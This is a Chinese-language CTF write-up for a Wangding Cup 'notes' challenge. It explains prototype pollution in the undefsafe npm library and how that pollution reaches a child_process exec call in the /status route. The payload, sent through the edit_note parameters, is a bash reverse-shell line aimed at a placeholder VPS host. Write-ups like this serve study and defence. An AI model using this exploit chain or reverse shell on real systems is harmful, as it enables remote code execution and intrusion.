3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[网鼎杯青龙组]wp

notes

先了解一下undefsafe模块是干啥的:

Simple function for retrieving deep object properties without getting “Cannot read property ‘X’ of undefined”
Can also be used to safely set deep values.
一个简单的函数,用于检索对象内的指定属性且不会返回“Cannot read property ‘X’ of undefined”。也可以用来安全的设定属性的值。

var object = {
  a: {
    b: [1,2,3]
  }
};

// modified object
var res = undefsafe(object, 'a.b.0', 10);
console.log(object); // { a: { b: [10, 2, 3] } }
console.log(res); // 1 - previous value

应该是直接就给了源码的,贴出源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});
/*res.render(),将会根据views中的模板文件进行渲染。如果不想使用views文件夹,想自己设置文件夹名字,那么app.set("views","mb");*/

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {   //新建一个子shell执行shell命令,将结果返回给回调函数,这里的第二个参数应该是指定了shell的位置把
                if (err) {
                    return;
                }
                console.log(`stdout: {stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:{port}`))

考点主要是undefsafe的原型链污染洞。
利用如下:

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

看了一下undefsafe函数的源码分析了一下:
首先传入原对象,获取要修改的属性的路径和属性要修改之后的值。进行path的分层,因为传入的对象可能有多层,那么相统的path也可能有多层。

https://www.3rsh1.cool/wp-content/uploads/2020/06/wp_editor_md_4742dc1e53027a012a4ad5ea8c5b4a5f.jpg

然后之后还有一个对于part内的元素的判断的过程就不细说了。undefsafe是按层查找属性的,首先会判断每层的对象存不存在,若是不存在就直接返回原对象,存在就继续下一层。

  key = parts[0];
  var i = 0;
  for (; i < parts.length; i++) {
    key = parts[i];
    parent = obj;
    ...
    obj = obj[key];
    if (obj === undefined || obj === null) {
      break;
    }
  }

主要代码如上,有删减。先将part数组内存储的内容依次赋值给key,然后源对象存储给parent,子对象重新赋值给obj,按照例子的逻辑首先obj的__proto__对象即Object类的原型对象赋值给obj,在对象数组中,__proto__表示的就是当前对象所属类的原型对象,上一篇原型链污染的文章中有提到,第二个循环中的key值为tostring,__proto__原型对象中显然存在此函数。因此obj变成了tostring函数的别称。
之后跳出循环:

https://www.3rsh1.cool/wp-content/uploads/2020/06/wp_editor_md_db10382a2c3cb8e94132826573bc3b70.jpg

最后的一个赋值语句修改了tostring的内容。实现了原型链的污染。

那么题目中的利用地方在哪呢?

for (let index in commands) {
    exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {   //新建一个子shell执行shell命令,将结果返回给回调函数,这里的第二个参数应该是指定了shell的位置把
        if (err) {
            return;
        }
    console.log(`stdout: ${stdout}`);
    });
}

exec执行shell命令,所需执行命令的键和值在commands中找,若是没在commands找到则会去原型对象中寻找,那么因为前面的污染,commands对象中应该包含了tostring属性。可以执行我们污染的内容。
题目源码中需要注意的地方是edit_note函数,这样我们可以指定要传入undefsafe函数的node_list对象的值。

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

传值内容如下:

id      = __proto__
author  = bash -i > /dev/tcp/vps/ports 0>&1
raw     = anything

参考链接:

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
https://www.npmjs.com/package/undefsafe

发表评论

textsms
account_circle
email

3rsh1's Blog

[网鼎杯青龙组]wp
notes 先了解一下undefsafe模块是干啥的: Simple function for retrieving deep object properties without getting "Cannot read property 'X' of undefined" Can also be used …
扫描二维码继续阅读
2020-06-21